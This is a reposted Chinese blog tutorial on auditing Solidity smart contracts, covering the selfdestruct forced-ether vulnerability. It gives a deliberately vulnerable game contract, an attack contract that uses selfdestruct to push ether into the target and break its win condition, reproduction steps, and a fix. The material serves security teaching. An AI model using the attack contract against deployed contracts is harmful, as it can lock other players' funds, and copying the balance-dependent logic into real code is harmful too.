ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

智能合约审计-自毁漏洞

2021-05-25 23:34:27  阅读:238  来源: 互联网

标签:审计 ether 漏洞 uint address balance 合约 自毁


简介

Solidity有自毁函数selfdestruct(),该函数可以对创建的合约进行自毁,并且可以将合约里的Ether转到自毁函数定义的地址中。
在有些文章中 有把这个漏洞叫做强行将以太币置入合约用自毁功能强力发送以太币

复现

仔细看注释就可以了

pragma solidity ^0.6.0;

contract EtherGame{
    // 这个游戏的赢家是成为第7个存入1 ether的玩家
    uint public targetAmount = 7 ether;
    address public winner;
    // uint balance;
    
    function deposit() public payable{
        require(msg.value == 1 ether,"You can only send 1 ether");  // 只能存放1个ether
        uint balance = address(this).balance;
        // balance += msg.value;
        require(balance<=targetAmount,"Game is over");      // 如果余额大于了7 游戏就结束了
        if(balance == targetAmount){
            winner = msg.sender;
        }
    }
    
    function claimReward() public {     // 获取奖励
        require(msg.sender ==  winner,"Not winner");
        (bool sent,) = msg.sender.call{value:address(this).balance}("");
        require(sent);
    }
    
    function getBalance() public view returns(uint){
        return address(this).balance;
    }
}

contract Attack {

    function attack(address payable target) public payable {
        // 可以通过发送以太打破游戏平衡
        // 大于7就打破了
        // cast address to payable
        selfdestruct(target);
    }
}
  1. 第一个地址(小明) 游戏玩家
  2. 第二个地址(小刚) 游戏玩家
  3. 第三个地址(小雪) Hack

https://youtu.be/CmQp1KdIF3c
流程也就是:

  1. 部署两个合约
  2. 小明和小刚分别存入1 ether
  3. 然后小雪出来捣乱破坏规则,存入5 ether
  4. 然后EtherGame这个合约里 已经有7 ether
  5. 再去用游戏玩家去存入ether 就会抛出异常Game is over

修复

不依赖address(this).balance
uint balance = address(this).balance;改为balance += msg.value;

标签:审计,ether,漏洞,uint,address,balance,合约,自毁
来源: https://www.cnblogs.com/secxue/p/14811435.html

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有